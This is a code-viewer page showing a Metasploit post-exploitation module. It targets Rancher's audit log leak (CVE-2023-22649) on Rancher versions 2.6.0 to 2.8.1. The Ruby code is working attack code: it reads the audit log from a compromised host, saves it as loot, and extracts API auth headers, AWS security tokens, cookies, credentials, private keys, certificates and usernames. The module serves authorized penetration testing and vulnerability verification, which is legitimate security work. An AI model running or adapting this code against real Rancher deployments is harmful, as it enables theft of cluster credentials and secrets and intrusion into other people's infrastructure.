Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/rancher_audit_log_leak.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Rancher Audit Log Sensitive Information Leak',14'Description' => %q{15Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive16contain a vulnerability where sensitive data is leaked into the audit logs.17Rancher Audit Logging is an opt-in feature, only deployments that have it18enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.1920Tested against rancher 2.6.0.21},22'License' => MSF_LICENSE,23'Author' => [24'h00die', # msf module25],26'Platform' => ['linux', 'unix'],27'SessionTypes' => ['shell', 'meterpreter'],28'References' => [29[ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'],30[ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'],31[ 'CVE', '2023-22649']32],33'DisclosureDate' => '2024-02-08',34'Notes' => {35'Stability' => [],36'Reliability' => [],37'SideEffects' => []38}39)40)41register_advanced_options [42OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ])43]44end4546def run47# docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options48fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE'])4950log = read_file(datastore['LOGFILE'])51loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log')52print_good("Rancher log saved to: #{loot}")5354usernames_found = []55table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location'])5657log.each_line do |line|58leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token']59leaky_response_headers = ['X-Api-Set-Cookie-Header']60leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey']6162json_line = JSON.parse(line)6364if json_line.key? 'requestHeader'65leaky_request_headers.each do |leaky_field|66next unless json_line['requestHeader'].key? leaky_field6768secret = json_line['requestHeader'][leaky_field]69secret = secret.join(' ') if secret.is_a?(Array)70print_good("Found #{leaky_field} #{secret}")71table << [leaky_field, secret, 'requestHeader']72end73end7475if json_line.key? 'responseHeader'76leaky_response_headers.each do |leaky_field|77next unless json_line['responseHeader'].key? leaky_field7879secret = json_line['responseHeader'][leaky_field]80secret = secret.join(' ') if secret.is_a?(Array)81print_good("Found #{leaky_field}: #{secret}")82table << [leaky_field, secret, 'responseHeader']83end84end8586if json_line.key? 'requestBody'87leaky_request_body.each do |leaky_field|88next unless json_line['requestBody'].key? leaky_field8990secret = json_line['requestBody'][leaky_field]91secret = secret.join(' ') if secret.is_a?(Array)92print_good("Found #{leaky_field} in #{secret}")93table << [leaky_field, secret, 'requestBody']94end95end9697if json_line.key? 'responseBody'98leaky_request_body.each do |leaky_field|99next unless json_line['responseBody'].key? leaky_field100101secret = json_line['responseBody'][leaky_field]102secret = secret.join(' ') if secret.is_a?(Array)103print_good("Found #{leaky_field} in #{secret}")104table << [leaky_field, secret, 'responseBody']105end106end107108usernames = json_line.dig('user', 'extra', 'username')109next if usernames.nil?110111usernames_found += usernames112end113114usernames_found.uniq.each do |username|115table << ['Username', username, 'Requests']116end117118print_line119print_line(table.to_s)120end121end122123124